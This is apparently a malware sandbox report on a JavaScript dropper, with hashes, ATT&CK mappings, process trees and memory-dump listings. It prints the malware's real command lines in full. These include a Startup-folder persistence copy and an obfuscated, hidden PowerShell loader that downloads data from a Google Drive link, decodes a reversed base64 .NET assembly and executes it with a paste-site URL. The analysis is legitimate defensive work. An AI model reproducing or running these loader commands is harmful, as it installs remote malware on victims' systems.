ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4

General

Target

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2652	powershell.exe
7	2652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2216	powershell.exe
2652	powershell.exe
2296	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2492	cmd.exe
2484	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2484	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2296	powershell.exe
2216	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2492	1728	wscript.exe	30
PID 1728 wrote to memory of 2492	1728	wscript.exe	30
PID 1728 wrote to memory of 2492	1728	wscript.exe	30
PID 2492 wrote to memory of 2484	2492	cmd.exe	32
PID 2492 wrote to memory of 2484	2492	cmd.exe	32
PID 2492 wrote to memory of 2484	2492	cmd.exe	32
PID 2492 wrote to memory of 2296	2492	cmd.exe	33
PID 2492 wrote to memory of 2296	2492	cmd.exe	33
PID 2492 wrote to memory of 2296	2492	cmd.exe	33
PID 1728 wrote to memory of 2216	1728	wscript.exe	35
PID 1728 wrote to memory of 2216	1728	wscript.exe	35
PID 1728 wrote to memory of 2216	1728	wscript.exe	35
PID 2216 wrote to memory of 2652	2216	powershell.exe	37
PID 2216 wrote to memory of 2652	2216	powershell.exe	37
PID 2216 wrote to memory of 2652	2216	powershell.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a74456326b78e3d5ca13c89ce1545e28

SHA1
1265986cd90ccabe268de2ff4c27ddb4ddd6a21d

SHA256
2b6cb1736fe1cfad44bfd813a4433eba30945d7f8a14f34b82f1d9e340bd76b0

SHA512
f05220430fd8543ea72ad95fbe99c46ab190916fde1172d088e3ee59aafb409de22b82a0e38ae372fe13f1d59b16b826b7652b9cf821bf0622aae96a3ff1ee87

Download Submit
memory/2216-20-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2216-19-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2296-11-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-9-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-13-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-12-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-5-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/2296-7-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2296-6-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing